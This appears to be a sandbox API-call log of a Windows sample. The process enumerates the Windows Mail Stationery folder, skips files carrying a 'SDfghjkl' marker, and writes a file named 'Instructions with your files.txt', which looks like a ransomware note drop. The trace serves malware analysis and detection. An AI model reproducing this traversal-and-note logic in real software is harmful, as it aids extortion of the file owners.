[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned 86
[0130.631] StrStrIW (lpFirst="edbres00002.jrs", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 80
[0130.631] StrStrIW (lpFirst="oeold.xml", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 81
[0130.631] GetProcessHeap () returned 0x810000
[0130.631] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.632] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*") returned 83
[0130.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.633] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\.") returned 83
[0130.633] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.633] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\..") returned 84
[0130.634] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned 91
[0130.634] StrStrIW (lpFirst="Bears.htm", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned 91
[0130.634] StrStrIW (lpFirst="Bears.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned 93
[0130.634] StrStrIW (lpFirst="Desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned 92
[0130.634] StrStrIW (lpFirst="Garden.htm", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned 92
[0130.634] StrStrIW (lpFirst="Garden.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned 99
[0130.634] StrStrIW (lpFirst="Green Bubbles.htm", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned 98
[0130.634] StrStrIW (lpFirst="GreenBubbles.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned 97
[0130.634] StrStrIW (lpFirst="Hand Prints.htm", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned 96
[0130.634] StrStrIW (lpFirst="HandPrints.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.634] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
[0130.634] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned 100
[0130.634] StrStrIW (lpFirst="Orange Circles.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned 99
[0130.635] StrStrIW (lpFirst="OrangeCircles.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned 93
[0130.635] StrStrIW (lpFirst="Peacock.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned 93
[0130.635] StrStrIW (lpFirst="Peacock.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned 91
[0130.635] StrStrIW (lpFirst="Roses.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned 91
[0130.635] StrStrIW (lpFirst="Roses.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned 100
[0130.635] StrStrIW (lpFirst="Shades of Blue.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned 98
[0130.635] StrStrIW (lpFirst="ShadesOfBlue.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned 95
[0130.635] StrStrIW (lpFirst="Soft Blue.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned 94
[0130.635] StrStrIW (lpFirst="SoftBlue.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned 91
[0130.635] StrStrIW (lpFirst="Stars.htm", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
[0130.635] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned 91
[0130.635] StrStrIW (lpFirst="Stars.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.635] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
[0130.636] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Instructions with your files.txt") returned 114
[0130.636] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.636] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.637] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.637] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.637] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.637] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.637] CloseHandle (hObject=0x11c) returned 1
[0130.637] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.637] GetProcessHeap () returned 0x810000
[0130.637] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
